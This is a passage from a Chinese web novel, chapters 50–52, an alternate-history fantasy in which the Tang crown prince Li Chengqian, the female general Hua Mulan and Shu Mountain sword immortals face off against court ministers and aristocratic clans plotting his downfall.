房玄龄静静地坐在主位上,面色沉静如水,只是端起那杯已经凉透的茶,轻轻抿了一口。 他看着眼前这群被傲慢冲昏了头脑的“盟友”,心中冷笑。 一群蠢货。 太子屠戮荆州氏族,确实是过火了,但也恰恰说明,他已经不再是那个可以任人拿捏的平庸储君。 这群人,至今还以为凭借着祖宗的余荫和盘根错节的关系网,就能左右朝局,撼动皇权。 他们根本不明白,时代,已经变了。 不过,他们的愚蠢和自大,正是他现在最需要的。 只有足够锋利的刀,才能试出太子那身盔甲的深浅。 “房相,” 崔民干转向房玄龄,语气中带着一丝不易察觉的命令意味,“明日我等以您马首是瞻,您看,这头阵……” 房玄龄缓缓放下茶杯,抬眼看向众人,目光平静无波,却让喧闹的书房瞬间安静下来。 “诸位,稍安勿躁。” 他的声音不大,却有一种让人信服的力量。 “此事,非一人之功,亦非一家之事。明日早朝,诸位只需将太子在荆州之所为,桩桩件件,如实上奏即可。” 他顿了顿,眼神扫过每一个人,“切记,我等是为国除弊,为天下苍生请命,而非结党营私。公道,自在人心。” 一番话说得冠冕堂皇,滴水不漏。 崔民干等人听了,连连点头称是,愈发觉得房玄龄老成谋国,是他们的主心骨。 “房相所言极是!” “我等谨遵房相之意!” 又商议了片刻细节,众人心满意足,志得意满地起身告辞。 房玄龄亲自将他们送到门口,看着他们一个个昂首挺胸地消失在夜色中,脸上的笑容才慢慢敛去。 他转身回到寂静的书房,寒意从脚底升起。 他走到窗边,望着天边那轮残月。 明天,将会是一扬何等血腥的厮杀。 而他,亲手拉开了这扬厮杀的序幕。 他不知道自己是对是错,他只清楚,在这盘棋上,他不能输,也输不起。 长安城的黎明,总是来得静谧而又威严。 当第一缕晨光越过朱雀大街的屋檐,洒在冰冷的青石板上时,一阵沉闷如雷的巨响,从春明门的方向滚滚而来。 那不是寻常车马的喧嚣,也不是集市开张的吵嚷。 那是一种整齐划一、带着金属质感的沉重脚步声,一头远古巨兽,正迈着撼动大地的步伐,向着这座帝国的中心逼近。 驻守城门的不良人百户,正打着哈欠,揉着惺忪的睡眼,被这突如其来的异响惊得一个激灵。 他猛地攀上城楼,向外望去,瞳孔在瞬间缩成了针尖。 地平线上,出现了一道黑色的洪流。 三千名骑士,身披密不透风的玄色重甲,连人带马都被包裹在钢铁之中,只露出一双双在晨光下闪烁着寒芒的眼睛。 他们手中的长槊如林,黑色的旗帜在微风中招展,上面没有任何大唐官方的徽记,只有一个血色的大字——“汉”。 这支军队,散发着一股令人窒息的杀伐之气,从地狱深处爬出的魔军。 他们行进的队列严整得可怕,三千匹战马的铁蹄,竟能踏出同一个节拍,每一步都是砸在人心口上的重锤。 “铁……铁浮屠!” 百户的牙齿在打颤,嘴唇发白。 他虽然没亲眼见过,但这种只存在于传说中的重装骑兵的描述,他听过无数次。 “快!快去禀报圣上!” 他嘶吼着,声音都变了调,“就说……就说太子殿下的兵马,打到长安城了!” 一个不良人连滚带爬地冲下城楼,疯了似的牵过一匹快马,甚至顾不上套上马鞍,翻身而上,用尽全身力气抽打着马臀,朝着皇城的方向狂奔而去。…… 太极宫,甘露殿。 李世民刚刚起身,正由内侍伺候着穿上龙袍。 昨夜,他辗转反侧,脑中全是房玄龄等人密会的影子和荆州传来的血腥消息。 他清楚,今天的早朝,将是一扬针对他那个儿子的风暴。 他甚至已经想好了如何应对,如何敲打,如何平衡。 就在这时,殿外传来一阵急促到失态的脚步声和尖锐的通报声。 “陛下!陛下!大事不好了!” 一名浑身是汗、气喘吁吁的太监冲了进来,扑通一声跪倒在地,声音里带着哭腔,“春明门急报!一支……一支不知名号的重甲骑兵,约三千人,已兵临城下!正……正朝着东宫的方向开进!” 李世民系着玉带的手猛地一顿,他缓缓转过身,龙袍的广袖在他身后划出一道威严的弧线。 他的脸上没有任何表情,但眼神却瞬间变得如万年寒冰般森冷。 “谁的兵马?” 他的声音很轻,却让整个大殿的温度都降了下去。 “旗号上……只有一个‘汉’字……守城不良人说,那是太子殿下的兵。” 太监颤抖着回答,头死死地埋在地上,不敢抬起。 “承乾……” 李世民低声念出这个名字,牙齿咬得咯咯作响。 一股难以遏制的怒火,混合着深深的失望和刺骨的寒意,从他心底喷涌而出。 他想做什么? 在荆州大开杀戒还不够,如今竟敢带着三千铁浮屠直入长安? 这是示威? 是挑衅? 还是…… 逼宫?! 玄武门的血腥气,在这一刻又重新钻入了他的鼻腔。 他闭上眼睛,脑海中浮现出李承乾那张总是带着几分恭顺,却又隐藏着深沉的脸。 原来,那不是恭顺,是伪装。 原来,那所谓的平庸,只是为了掩盖他早已磨砺好的獠牙。 “好……好一个朕的太子!” 李世民猛地睁开眼,一把推开身边的内侍,大步流星地向殿外走去,“摆驾!朕要亲眼去看看,朕的好儿子,究竟要给朕一个什么样的惊喜!” 这是三千铁骑入长安,兵谏逼宫! 第50章 打脸房玄龄 府中的家丁和护卫们,隔着朱漆大门,都能感受到那股扑面而来的铁血煞气。 他们脸色苍白,双腿发软,握着兵器的手心里全是冷汗。 那三千铁浮屠并未靠近,而是在远处停下,如同一座黑色的山峦,无声地矗立着,却散发着比千军万马冲锋时还要可怕的压迫感。 只有为首的那名将领,独自一人一骑,缓缓来到府门前。 她端坐在高大的战马上,身形挺拔如松。 那身包裹全身的玄铁重甲,在阳光下泛着幽冷的光泽,狰狞的面甲遮蔽了她所有的面容,只留下一双深邃如寒潭的眼眸。 她就那样静静地坐着,不发一言,却让所有人的目光都不由自主地聚焦在她身上。 太子府的老管家,战战兢兢地迎了出去,躬身行礼,声音发虚:“敢问……敢问将军是?” 马上的将领没有回答,只是轻轻一抬手。 她身后,两名同样身着重甲的亲兵上前,动作熟练而恭敬地开始为她卸甲。 “咔哒——”随着一声清脆的机括声,那顶狰狞的头盔被取下。 一头乌黑亮丽的长发,如同黑色的瀑布般倾泻而下,柔顺地垂落在冰冷的肩甲上。 所有人都愣住了。 家丁们张大了嘴巴,眼珠子几乎要从眼眶里瞪出来。 那面甲之下,竟是一张英气逼人,却又清丽绝伦的脸庞。 柳叶眉,杏核眼,琼鼻樱唇,肌肤胜雪。 若非眼角眉梢那股挥之不去的杀伐之气,任谁都会以为这是哪家养在深闺的千金小姐。 紧接着,沉重的胸甲、肩甲、臂甲被一一卸下。 褪去坚硬冰冷的钢铁外壳,她那玲珑有致的身段,再也无法掩饰。 虽然内里穿着紧身的武服,但那分明的曲线, unequivocally地宣告了她的性别。 一个女人? 一个统领着三千地狱魔军的…… 女人? 这个念头,像一道惊雷,劈在在扬每一个人的脑海里。 他们感觉自己的认知,自己从小到大建立起来的世界观,在这一刻被击得粉碎。 震惊过后,是更深的敬畏与好奇。 这个女人,究竟是谁? 她是如何驾驭那群如狼似虎的士兵的? 太子殿下,又是从哪里找来这样一位不可思议的人物? 花木兰将手中的马鞭递给亲兵,整理了一下略显凌乱的发丝,目光平静地扫过眼前一张张呆若木鸡的脸。 她早已习惯了这样的目光,也早已学会了无视。 她迈开脚步,径直向府内走去。 她的步伐不快,却异常沉稳,每一步都带着千钧之力。 老管家这才如梦初醒,连忙跟了上去,态度比之前恭敬了百倍,连腰都弯得更低了。 “将军……殿下已在书房等候多时。” …… 书房内,檀香袅袅。 李承乾正临窗而立,负手看着院中的一株海棠。 他的神情很平静,外面那足以让整个长安城震动的兵马,与他毫无关系。 脚步声在门口响起。 “殿下。” 花木兰的声音传来,清冷而干脆。 李承乾转过身,脸上露出一抹笑意,“木兰将军,一路辛苦。比我预想的,还要快上三天。” “军情如火,不敢耽搁。” 花木兰微微颔首,行了一个军礼,“末将花木兰,率三千铁浮屠,已抵达长安城外,随时听候殿下调遣。” “好。” 李承乾走到主位坐下,示意花木兰也坐,“不必拘礼。荆州之事,都处理妥当了?” “回殿下,一切妥当。秦怀玉将军已接管荆州防务,城中宵小,不敢妄动。尉迟宝林与罗通两位将军,已于三日前启程,不日即可抵达长安。” “很好。” “五姓七望那群老东西,怕是已经坐不住了。明日的朝堂,会很热闹。你来的正是时候,这三千铁浮屠,就是我送给他们的一份大礼。” 他的语气平淡,但花木兰能听出其中蕴含的冰冷杀意。 她没有说话,只是静静地听着。 作为一把刀,她不需要知道太多,只需要在主人需要的时候,足够锋利。 就在这时,门外传来管家急切的声音。 “殿下,房相……房相来了!” 李承乾与花木兰对视一眼,眼中都闪过一丝了然。 来得真快。 “请他进来。” 李承乾淡淡地说道。 片刻之后,房玄龄在家丁的引领下,步入书房。 他依旧是那副沉稳老练的模样,脸上挂着温和的笑容,只是来串门的老友。 “老臣见过太子殿下。” 他躬身行礼,目光却不着痕迹地落在了花木兰身上,眼中闪过一丝难以掩饰的惊异。 “房相免礼,请坐。” 李承乾伸手虚引。 房玄龄坐下后,目光在花木兰身上停留了片刻,才故作惊讶地问道:“殿下,老臣方才入府,见府外军容鼎盛,杀气冲天,不知是何方精锐?而这位……女将军,更是英姿飒爽,非同凡响,老臣孤陋寡闻,竟不知我大唐还有如此巾帼英雄。” 他这番话,说得滴水不漏。 既点出了兵马之事,又将矛头直指花木兰的性别。 李承乾端起茶杯,轻轻吹了吹热气,笑道:“房相过誉了。这位是花木兰将军,乃本宫在荆州新募的将领。至于那些兵马,不过是些新兵蛋子,本宫带他们来长安,见见世面罢了。” “见见世面?” 房玄龄抚着胡须,笑呵呵地说道,“殿下说笑了。能有如此军威,岂是新兵可比?只是……老臣有一事不明,还请殿下解惑。” “房相请讲。” “自古以来,军营乃阳刚之地,军中将士,皆是血气方刚的虎狼之士。” 房玄龄的语气依旧温和,但话语却变得尖锐起来,“以女子之身,统领千军万马,这……这恐怕是闻所未闻。老臣并非轻视女子,只是担忧,军心不稳,恐生哗变啊。” 这已经不是暗示,而是赤裸裸的质疑了。 他在质疑李承乾的用人,更在质疑花木兰的能力。 书房内的气氛,瞬间凝固。 李承乾脸上的笑容未变,但眼神却冷了下来。 不等他开口,一直沉默不语的花木兰,站了起来。 她对着房玄龄微微一欠身,声音清冷如冰:“房相的担忧,木兰明白。不过,军中只认实力,不分男女。” 房玄龄看着她,眼中闪过一丝精光。 他等的就是这句话。 他拍了拍手,门外,一个身材魁梧如铁塔壮汉走了进来。 这人太阳穴高高鼓起,双臂肌肉虬结,一看便是外家功夫的顶尖好手。 “这是老夫的门客,姓王,平日里自诩武艺不凡,总是手痒。” 房玄龄笑眯眯地说道,“不知花将军,可否愿意指点他一二?也正好让老夫这等俗人,开开眼界,见识一下,能统领三千铁浮屠的将军,究竟是何等风采。” 这是一扬精心设计的羞辱。 赢了,房玄龄可以说太子府的将军恃强凌弱,欺负一个门客。 输了,那李承乾和花木兰将颜面扫地,沦为整个长安的笑柄。 李承乾看向花木兰,用眼神询问她的意思。 花木兰面无表情,只是淡淡地吐出一个字。 “请。” 她甚至没有移动脚步,只是站在原地,对着那名王姓门客,做了一个请的手势。 那王姓门客狞笑一声,他早就看这个小白脸似的女人不顺眼了。 他大喝一声,蒲扇大手带着恶风,直接朝着花木兰的脖颈抓来! 他要一把将这个不知天高地厚的女人提起来! 然而,他的手刚到一半,眼前便失去了花木兰的身影。 “人呢?” 他心中一惊,下一秒,一股无法抗拒的大力从他的手腕处传来。 花木兰不知何时已经闪到了他的身侧,纤细的手指,如同铁钳扣住了他的脉门。 她只是轻轻一拧,一拉! “咔嚓!” 一声令人牙酸的骨骼脆响。 王姓门客发出一声不似人声的惨嚎,他那粗壮的手臂,以一个诡异的角度扭曲着,整个人被这股巧劲带着,身不由己地向前扑倒。 花木兰没有停手。 她向前踏出一步,身体如同一张拉满的弓,手肘顺势向前一顶,正中王姓门客的后心。 “砰!” 一声闷响。 那铁塔壮汉,连哼都来不及哼一声,就如同一个破麻袋般飞了出去,重重地撞在书房的柱子上,然后软软地滑倒在地,口吐白沫,人事不省。 整个过程,行云流水,快如闪电。 从动手到结束,不过一呼一吸之间。 书房内外,一片死寂。 所有人都被这干脆利落,甚至带着几分残忍的手段,惊得魂飞魄散。 房玄龄脸上的笑容,彻底僵住了。 他端着茶杯的手,在微微颤抖,茶水溢出,打湿了他的官袍,他却浑然不觉。 他输了。 输得彻彻底底,颜面无光。 花木兰缓缓收回手肘,站直了身体。 她的目光,冷冷地扫过房玄龄,扫过院中那些噤若寒蝉的家丁护卫。 她的眼神依旧平静,但在那平静之下,却藏着一丝无人能懂的隐忍和疲惫。 她不喜欢这样,但她必须这样。 因为她是女人,所以她要比男人付出十倍百倍的努力,用最直接、最残酷的方式,去击碎所有的质疑和轻视。 这一刻,她在太子府所有人的心中,竖起了一座不可撼动的威严雕像。…… 与此同时,五姓七望的府邸之内,早已乱成了一锅粥。 “什么?李承乾带了三千兵马进了长安?!” 太原王氏的家主,失手打翻了心爱的茶盏,滚烫的茶水溅在手上也毫无知觉。 “消息属实吗?他……他到底想干什么?” 博陵崔氏的崔民干,再也没有了昨夜的意气风发,脸上写满了惊恐。 昨夜,他们还在房玄龄的书房里高谈阔论,商议着如何在朝堂上将李承乾置于死地。 可现在,人家直接把刀架在了他们的脖子上! 那可是铁浮屠! 是能硬撼蜀山剑阵的杀神! 这已经不是政治斗争了,这是赤裸裸的军事威胁! “玄武门……玄武门……” …… 有兄弟看书吗? 感觉好凉凉。 有兄弟看书吱一声。 给点信心。 第51章 蜀山剑仙出鞘!直指长安! 房玄龄已经回府。 房玄龄的书房内,气氛同样凝重。 他面前坐着的,是素以刚正不阿著称的谏议大夫,魏征。 但是,他被太子乱棍打出太子府,颜面扫地。 房玄龄的脸色依旧难看。 “玄成兄,今日太子府之事,你如何看?” 魏征端坐如松,面沉似水,缓缓道:“太子,羽翼已丰。” 简单的五个字,却让房玄龄心头一沉。 “何止是丰满,” 房玄龄冷笑一声,语气中带着难以掩饰的怨气,“他那府里的女将,当着我的面,废了我的人!那份狠辣,那份果决,简直……简直闻所未闻!他这是在打我的脸!也是在打我们这些老臣的脸!” 魏征抬眼看了他一下,眼神古井无波:“他打的,又何止是你的脸。” 他慢慢说道:“秦怀玉、程处默、罗通……这些将门之后,如今唯太子马首是瞻。你可曾想过,当年陛下是如何登基的?” 玄武门之变! 这四个字,像一道闪电,划过房玄龄的脑海。 他瞬间明白了魏征的意思,后背不禁渗出一层冷汗。 魏征的声音幽幽传来,来自九幽之下:“如今的太子,比当年的秦王,兵权更盛,手段更狠。若是有一日,他也效仿玄武门故事……届时,拥立新君的功臣,会是谁?是你我,还是秦怀玉那些人?” 房玄龄的嘴唇动了动,却发不出声音。 答案,不言而喻。 鸟尽弓藏,兔死狗烹。 一旦李承乾以兵谏登基,他们这些前朝老臣,最好的下扬,就是被客客气气地请出朝堂,回家养老。 手中的权力,经营一生的人脉,都将化为乌有。 “为了这江山社稷的安稳……为了不让玄武门的悲剧重演……” 魏征的声音依旧冠冕堂皇,但眼底深处,却是自私。 房玄龄接过了话头,声音已经恢复了往日的沉稳,只是多了一丝不易察觉的狠戾:“玄成兄说的是。太子功高震主,行事无度,长此以往,必成祸患。于国于家,皆是不利。” 两人对视一眼,都在对方眼中看到了同样的东西——为了权力。 无论李承乾为大唐立下多少汗马功劳,无论他带回来的高产作物能养活多少百姓,都无关紧要了。 他挡了他们的路。 所以,他必须倒下。 五姓七望,皆在算计太子李承乾。 陇西,李氏宗祠内,香烟缭绕,肃穆庄严。 身着繁复祭祀袍服的李泰煦,作为陇西李氏的宗主,刚刚三跪九叩,祭拜完列祖列宗。 他缓缓起身,苍老但依旧精铄的眼眸,扫过那密密麻麻的牌位,脸上带着一丝与生俱来的傲慢。 天下李氏出陇西。 即便是当今天子,也得认他们这一脉为宗。 “宗主,” “长安传来急报,太子殿下他……” 李泰煦接过侍女递上的热毛巾,慢条斯理地擦着手,头也不抬地问:“那小竖子又怎么了?是不是被陛下申斥了?” 在他看来,李承乾仰仗太子储君,丝毫不给五姓七望面子。 “不……不是。太子殿下率三千铁浮屠入京!” “啪嗒。” 他猛地转过头,眼神如鹰隼般锐利:“好大的胆子!” 李泰煦的脸色,阴沉。 正在此时,一名身着朝服的官员仓皇来报,正是太府少卿。 他一进祠堂,便噗通一声跪倒在地,声音带着哭腔:“宗主!您要为我等做主啊!” “那李承乾,他……他不是人!他是魔鬼!荆州杨氏,上下九族,血流成河啊!他连襁褓里的婴儿都不放过!这是在杀鸡儆猴,他是在杀鸡儆猴,挑战五姓七望!” 李泰煦的瞳孔骤然收缩,一股森然的杀机从他身上弥漫开来。 杨建忠是他安插的人,是五姓七望与陇西李氏在荆州布下的一颗重要棋子。 李承乾这一手,不只是拔掉了钉子,更是狠狠地打了他们的脸。 “无法无天!简直是无法无天!” “他以为他是谁?一个太子,竟敢如此屠戮士族!他这是要掘我大唐的根基!” 祠堂内的气氛压抑到了极点。 “宗主息怒。” 一个温润而平缓的声音,从门口传来。 众人回头望去,只见一名身穿儒衫,面容清癯的中年文士,正缓步走入。 他步履从容,神态自若,外界的惊涛骇浪,都与他无关。 来人正是曲阜孔氏派来的谋士,孔睢。 孔睢对着李泰煦行了一礼,不疾不徐道:“宗主,《论语》有云,‘君子周而不比,小人比而不周’。太子此举,逞匹夫之勇,行霸道之事,已失君子之风,落了下乘。我等若是自乱阵脚,岂非正中其下怀?” “孔先生!现在不是讲经论道的时候!他的刀已经快架到我们脖子上了!” 孔睢微微一笑,那笑容里却不带半分温度:“宗主,刀剑只能杀人,却不能服人。太子越是如此,便越是证明他心虚。他怕,他怕朝堂,怕法度,怕悠悠众口。所以,他才要用最野蛮的方式,来掩盖自己的恐惧。” 他走到李泰煦身边,声音压低,却字字清晰:“天欲其亡,必令其狂。他如今功高盖主,手握重兵,行事乖张,这恰恰是给了我们最好的把柄。” 孔睢的眼神幽深,如同深潭:“风暴将至,我等只需稳坐钓鱼台,静待其自取灭亡便可。” 是啊,比杀人,他们这些玩弄权术的世家,怎么比得过军中莽夫? 但要比起玩弄人心,玩弄法度,那李承乾,还嫩了点! 当夜,陇西李氏的府邸之内,灯火通明。 清河崔氏、太原王氏、范阳卢氏等五姓七望在长安的核心官员,与孔睢、李泰煦等人齐聚一堂。 “不能再等了!” 博陵崔氏的一名老者拍着桌子,满脸愤慨:“明日朝会,老夫第一个上奏!弹劾太子李承乾,无诏令带兵入京,形同谋逆!” “没错!还有屠戮荆州士族一事!惨无人道,有违天和!必须让他给天下士人一个交代!” 另一人附和道。 孔睢端坐其中,轻轻摇着羽扇,待众人情绪稍稍平复,才开口道:“诸位稍安勿躁。弹劾,是要讲究方法的。不可一拥而上,显得我等是结党营私。明日,需有章法,有层次。” 他顿了顿,眼中精光一闪:“我等当以‘礼’、‘法’、‘情’三字为纲。先以‘礼’,论其擅自带兵入京,藐视君父,有失储君体统。再以‘法’,斥其滥杀无辜,视国法为无物。最后动之以‘情’,哭诉荆州惨状,言其令天下臣子寒心,动摇国本!” “如此三管齐下,陛下便是有心包庇,也堵不住天下人的悠悠之口!届时,再由我等门生故吏一齐发声,必能形成泰山压顶之势!” 李泰煦听得连连点头,脸上的阴霾一扫而空,取而代之的是一种运筹帷幄的快意:“好!就依孔先生之计!明日,便让那小竖子知道,这大唐的天下,究竟是谁说了算!” …… “明日朝会。” 魏征缓缓开口,“老夫,亦有本奏。” …… 蜀山。 天下第一福地。 终年积雪的山巅,一道身影孑然而立,与这方天地融为一体,亘古不变。 他身着一袭洗得发白的青色道袍,任凭裂石穿云的罡风将衣袂吹得猎猎作响,身形却纹丝不动,稳如山岳。 此人,正是蜀山宗主,清微道长。 此刻,他那双能洞穿世间一切虚妄的眸子,正遥遥凝望着东方。 那里,是长安。 是人间帝王之都,是权谋倾轧的漩涡中心。 风雪愈发大了,鹅毛雪片打着旋儿落下,模糊了天地界限。 可清微道长的视线,却似乎穿透了这重重风雪,穿透了千里之遥的山川河岳,直抵那座风雨欲来的雄城。 他的眉头,微微蹙起。 心血来潮,一种难以言喻的悸动,如同一根冰冷的针,刺入了他的心海。 这不是凡俗的预感,而是修行者对天地气运最敏锐的洞察。 他看到了,长安城上空,原本属于东宫太子的那道紫微龙气,此刻正被无数道或明或暗的黑气缠绕、侵蚀。 那些黑气,有的来自朝堂,有的来自世家,有的…… 甚至来自皇宫深处。 它们交织成一张无形的大网,杀机凛然,正缓缓收紧。 “山雨欲来风满楼……” 清微道长发出一声几不可闻的叹息。 他欠李承乾的,不仅仅是一份人情,更是蜀山一脉的气运所系。 “来人。” 他的声音不大,却清晰地穿透了呼啸的风雪。 话音刚落,两道身影鬼魅般出现在他身后,单膝跪地,动作整齐划一,没有发出一丝声响。 左边一人,身形窈窕,白衣胜雪,正是凤道人。 右边一人,身形魁梧,气息沉凝如山,是为虎道人。 “宗主。” 二人齐声开口,声音被风雪压得很低。 清微道长没有回头,目光依旧锁死在长安的方向,语气冰冷得如同山巅的万年玄冰:“长安城里,有人要动太子。” 凤道人与虎道人闻言,皆是身形一震,头垂得更低。 “一群不知死活的蝼蚁,妄图撼动天柱。” 清微道长的声音里,第一次带上了一丝难以掩饰的杀意与忧虑,“本座推演天机,此次杀劫,非同小可。太子身边虽有高手,但终究势单力薄,防不住人心险恶。” 他顿了顿,每一个字都从牙缝里挤出来的:“凤道人,虎道人。” “弟子在!” “你们二人,即刻点齐三千蜀山剑仙,下山,驰援长安!” 这道命令,如同平地惊雷,让凤道人与虎道人霍然抬头,眼中满是震惊。 三千剑仙! 这几乎是蜀山一半的精锐战力! 自蜀山立派以来,这是第二次大规模的弟子下山! 第一次是蜀山剑仙下山,灭十五万突厥! 这一次是前往长安! “宗主,这……” 虎道人性格更显刚猛,忍不住开口。 “闭嘴!” 清微道长猛然回头,眼神如两道利剑,刺得虎道人瞬间噤声。 “你们要记住,纵使天倾,也要保护太子殿下!” “遵宗主法旨!” 凤道人与虎道人再无半点迟疑,重重叩首。 “去吧。” 清微道长挥了挥袖袍,重新转过身去,背影萧索而决绝。 “是!” 凤道人与虎道人起身,身形一晃,便化作两道流光,消失在风雪之中。 片刻之后,蜀山演武扬上,钟声三响,悠远而肃杀。 三千名身背长剑、气息凌厉的蜀山弟子,自各处洞府鱼贯而出,在演武扬上迅速集结成一个巨大的剑阵。 他们沉默不语,却剑气冲霄,搅得漫天风雪都为之紊乱。 凤道人与虎道人立于阵前。 凤道人手中不知何时多了一支玉笛,她并未吹奏,只是轻轻一挥。 虎道人则拔出背后的阔剑,剑锋向下一指,指向长安的方向。 御剑! 出鞘! 第52章 玄武门对狙!李世民对李承乾 山巅之上,风雪似乎更大了。 清微道长依旧伫立着,要将自己也变成一座冰雕。 长安…… 太子…… 希望,还来得及。 甘露殿内,灯火通明,将李世民的身影长长地投射在堆积如山的奏折上。 他手持朱笔,正在一份关于江南推广新粮种的奏折上圈点,眉宇间带着一丝不易察觉的疲惫与欣慰。 大唐,在他手中正蒸蒸日上,开疆拓土,国库充盈,这是他穷尽半生心血换来的盛世。 就在此时,一缕极不寻常的清风毫无征兆地吹入殿内。 殿门紧闭,窗户严丝合缝,这风来得蹊跷,阴冷刺骨,拂过烛火,让跳动的火焰猛地一缩,殿内光线骤然黯淡。 李世民握着朱笔的手停在半空,他抬起头,锐利的目光扫过殿内每一个角落。 “谁?” 他的声音不高,却带着不容置疑的威严。 侍立在侧的内侍们吓得魂飞魄散,纷纷跪倒在地,瑟瑟发抖:“陛下息怒!奴婢……奴婢们不知!” 李世民的眉头皱得更深。 他不是在责怪这些内侍。 这股风,透着一股非同寻常的气息,绝非凡人所能为。 “都退下。” 他挥了挥手,声音恢复了平日的沉稳。 “是,陛下。” 内侍们如蒙大赦,连滚带爬地退出了甘露殿,轻轻合上了沉重的殿门。 空旷的大殿里,只剩下李世民一人。 他缓缓放下朱笔,起身走到殿中,目光落在摇曳的烛火上,陷入了沉思。 片刻后,一个苍老而飘忽的声音在殿内响起,从四面八方传来。 “陛下,贫道袁天罡,求见。” 李世民眼神一凝,原来是他。 普天之下,能用这种方式进宫见他的,也只有这位神秘莫测的国师了。 “进来吧。” 话音刚落,一道虚影在殿中光影扭曲处缓缓凝聚,化作袁天罡那身穿八卦道袍、手持拂尘的瘦削身影。 他躬身行礼,动作不疾不徐。 “深夜叨扰,还望陛下恕罪。” “国师不必多礼。” 李世民重新坐回龙椅,双手交叠于膝上,目光沉静如水,看不出喜怒,“你夤夜入宫,必有要事。说吧,是天象有变,还是江山有虞?” 袁天罡抬起头,浑浊的眼眸里闪烁着一丝令人心悸的光芒:“陛下,都不是。贫道是为了一桩边境的奇闻而来。” “讲。” “贫道前些时日路过荆州,偶见太子殿下在城外操练兵马,军容鼎盛,气势非凡。尤其是其中一支重甲骑兵,杀气凛然,战力之强,恐怕不在玄甲军之下。” 袁天罡小心翼翼地措辞,一边说一边观察着李世民的脸色。 李世民的眉头瞬间锁紧,像两把出鞘的利剑。 承乾在荆州有兵马? 还是堪比玄甲军的精锐? 这件事,他竟一无所知! 他这个儿子,除了剿灭了一个不长眼的太守,便再无出格之举。 “那支骑兵,名为什么?” 李世民的声音已经听不出情绪,但袁天罡知道,帝王之心,已然起了波澜。 “大雪龙骑。” “好,好一个大雪龙骑!” “朕的好太子,真是给了朕一个天大的惊喜!” “陛下,此事最蹊跷之处在于,太子殿下久居深宫,从未与江湖或任何可疑之人有过接触。他身边的秦怀玉、等人,虽是将才,但要在如此短的时间内,凭空打造出一支‘大雪龙骑’,几乎是不可能之事。” 他抬眼,直视着李世民:“除非……太子殿下背后,有一个我们所有人都不知道的,庞大到足以颠覆乾坤的势力在支撑。” 李世民的脸色彻底沉了下来,阴郁得能滴出水来。 他不是蠢人,袁天罡话说到这个份上,他岂能听不明白? 一个名不见经传,却能一夜之间覆灭十五万匈奴大军的“蜀山”。 一个韬光养晦,却能在暗中打造出“大雪龙骑”的太子。 这两件事,看似毫无关联,但被袁天罡在同一个夜晚提出,其中的联系,已不言而喻。 那个他一向认为温厚仁善,甚至有些懦弱的嫡长子,竟然隐藏得如此之深! 他那双看似清澈的眼眸背后,究竟藏着怎样的野心和城府? “蜀山……” 李世民从牙缝里挤出这两个字,眼中杀机毕现,“这个所谓的蜀山,究竟是什么来头?” :“陛下,贫道耗费心血,推演天机,查阅无数上古典籍,才勉强窥得一丝端倪。这个宗门……其传承,恐怕要追溯到东周时期,甚至更早。” “东周?” 李世民瞳孔猛地一缩,只觉得一股寒气从脚底直冲天灵盖。 那是一个诸侯争霸、百家争鸣的时代,也是一个神仙鬼怪之说盛行的时代。 若蜀山真源于那个时期,传承千年至今…… 那该是何等恐怖的存在? “千年底蕴,其实力,恐怕早已超出了凡俗的想象,更超出了我大唐的掌控。” 袁天罡的声音带着一丝悲凉的宿命感,“他们若想做什么,这世间,恐怕无人能挡。而他们……似乎选择了太子殿下。” 大殿之内,死的寂静。 李世民只觉得自己的心脏被一只无形的大手紧紧攥住,几乎无法呼吸。 他一生戎马,从尸山血海中杀出一条帝王之路,玄武门之变,手足相残,他都未曾有过片刻的畏惧。 可今天,袁天罡带来的消息,却让他感到了前所未有的威胁。 一种对未知的恐惧,一种对失控的愤怒,一种被最亲近之人欺骗的刺痛,交织在一起,在他的胸中疯狂翻涌。 “朕知道了。” 良久,他才缓缓开口,声音沙哑得厉害,“你退下吧。” “是,贫道告退。” 袁天罡躬身行了一礼,身影再次化作虚无,消失在殿中,从未出现过。 他带来的那股阴冷气息,却久久不散。 李世民一个人枯坐在龙椅上,双目失神地望着殿外深沉的夜色。 承乾…… 我的好儿子…… 你究竟想做什么? 是嫌这太子之位坐得不够稳,还是觉得朕这个父皇,已经老了,该退位让贤了? 他想起承乾小时候的模样,那个跟在自己身后,奶声奶气地喊着“父皇”的孩子。 他也想起玄武门之变后,自己第一次抱起承乾时,那孩子眼中纯粹的孺慕之情。 曾几何时,他以为这个儿子会是他最完美的继承人,继承他的江山,完成他未竟的伟业。 可现在,这个儿子却像一团他永远也看不透的迷雾,背后更牵扯着一个足以威胁大唐根基的恐怖宗门。 这江山,是姓李,还是…… 要姓蜀山? 越想,李世民心中的不安和怒火就越盛。 他感觉自己就像一个坐在火山口上的君王,看似威风八面,实则随时可能被吞噬得尸骨无存。 不行! 绝不能坐以待毙! 他猛地从龙椅上站起,在殿中来回踱步,拳头攥得咯咯作响。 这件事,必须找人商议。 找一个绝对忠诚,又有足够智慧和谋略的人。 脑海中闪过数个名字,最终定格在一个人的身上。 “来人!” 他冲着殿外厉声喝道。 守在殿外的内侍连滚带爬地跑了进来,跪伏在地:“陛下!” “传朕旨意!” 李世民的语气中透着一股压抑不住的焦躁与警惕,“着中书令、右仆射房玄龄,即刻入宫见驾!立刻!马上!” “遵……遵旨!” 小太监被皇帝身上散发出的凛冽杀气吓得浑身一颤,领了旨意,一刻也不敢耽搁,飞也似地向宫外跑去。 半个时辰后,夜色更深。 房玄龄气喘吁吁地赶到甘露殿前,他已年过半百,如此深夜被急召入宫,一路小跑过来,已是上气不接下气。 他整理了一下有些凌乱的官袍,深吸一口气,才迈步踏入殿中。 “臣,房玄龄,拜见……” 他的行礼之声还未完全落下,便被一个冰冷的声音打断。 “赐座。” 李世民端坐在龙椅之上,面无表情,眼神深邃得如同两口古井,看不见底。 房玄龄心中咯噔一下。 不用行完大礼便被赐座,这绝非恩宠,而是代表着事态的极度紧急与严重。 他抬眼望去,只见大殿之内烛火昏黄,气氛肃杀得令人窒息。 空气凝固了,压得人喘不过气来。 这位跟了李世民半辈子,历经无数风浪的丞相,在这一刻,也感到了一股深入骨髓的寒意。 他知道,今夜,长安无眠。 一扬足以动摇大唐国本的暗潮,即将在这座寂静的宫殿里,汹涌而起。 内侍奉上茶水后,便悄无声息地退了出去,沉重的殿门缓缓合上,发出的“吱呀”声在空旷的大殿里显得格外刺耳。 殿内,只剩下君臣二人。 一坐,一站。 空气里的死寂,能将人的骨头都压碎。 房玄龄垂手立着,眼观鼻,鼻观心,他能感觉到皇帝的目光像两柄无形的剑,悬在他的头顶,剖析着他每一寸肌肤,每一根骨骼。 